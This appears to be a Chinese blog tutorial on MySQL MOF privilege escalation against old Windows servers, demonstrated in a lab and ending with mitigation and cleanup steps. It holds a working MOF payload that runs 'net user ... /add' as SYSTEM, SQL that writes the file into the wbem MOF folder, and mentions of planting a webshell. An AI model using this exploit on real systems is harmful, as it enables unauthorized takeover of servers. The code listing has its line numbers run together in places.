一、原理
Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件:
将MOF文件执行为命令行参数及Mofcomp.exe文件
使用IMofCompiler接口和$CompileFile方法
拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹下的MOF文件中
托管对象格式(MOF)文件在 C:\Windows\System32\wbem\MOF 目录下,它是创建和注册提供程序、事件类别和事件的简便方法。其作用是每隔五秒就会去监控进程创建和死亡。那么只需要将恶意代码写入该文件中即可提权。
二、前提
mysql5.7 开始默认使用 secure-file-priv 选项,不能随意选择导出路径,所以 mof 提权仅适用于以下条件:
操作系统版本低于 win2008
数据库为 mysql<5.7 且知道登录账号密码并且允许外连
总结来说就是当前 root 账户可以复制文件到 %SystemRoot%\System32\wbem\MOF 目录下。
三、提权
3.1实验环境
攻击机:win10 ip:192.168.34.1
靶机:win2003 ip:192.168.34.131
攻击机在靶机写入一句话木马,蚁剑连接。
3.2利用方法
先 select version(); 判断数据库版本,小于 5.7 可以利用 mof 提权。
将以下代码保存为 test.mof 文件,修改第 17 行代码为添加一个普通用户命令。
1 #pragma namespace("\\.\root\subscription")
2 instance of __EventFilter as$EventFilter3 {4 EventNamespace = "Root\\Cimv2";5 Name = "filtP2";6 Query = "Select * From __InstanceModificationEvent"
7 "Where TargetInstance Isa \"Win32_LocalTime\""
8 "And TargetInstance.Second = 5";9 QueryLanguage = "WQL";10 };11
12 instance of ActiveScriptEventConsumer as$Consumer13 {14 Name = "consPCSV2";15 ScriptingEngine = "JScript";16 ScriptText =
17 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user moftest mof.test /add\")";18 };19
20 instance of __FilterToConsumerBinding21 {22 Consumer =$Consumer;23 Filter =$EventFilter;24 };
上传该文件到服务器上任意位置,再通过 mysql 语句将文件导入。
select load_file('C:/phpStudy/WWW/test.mof') into dumpfile 'C:/WINDOWS/system32/wbem/mof/test.mof';
执行导入命令失败,SHOW VARIABLES LIKE "secure_file_priv"; 命令查看当前 secure_file_priv。
为了实验看一下效果,靶机 my.ini 添加一行 secure_file_priv = 代表不限制目录,重启 mysql 再执行一次导入命令。
导入后,系统会自动运行该文件,可以再修改第 17 行代码进行添加管理员等操作。由于 mof 是由 system 执行,所以权限满足创建用户、添加管理员等操作,即可完成提权过程。
四、防范
尽量不要使用 root 账号连接数据库
root 账号使用强加密方式
对 mysql 数据库目录权限严格限制
操作系统目录 C:\Windows\System32\wbem 禁止写入
如果服务器发现被使用 mof 提权,解决循环创建用户方法:
打开 cmd 使用命令:net stop winmgmt
删除文件夹下内容 C:\Windows\System32\wbem\Repository
再执行 net start winmgmt 即可
五、总结
这篇随笔和上一篇MySQL_UDF提权 https://www.cnblogs.com/wkzb/p/13174291.html 都是MySQL提权方式的小总结,如果有错误欢迎师傅们批评指正。
参考: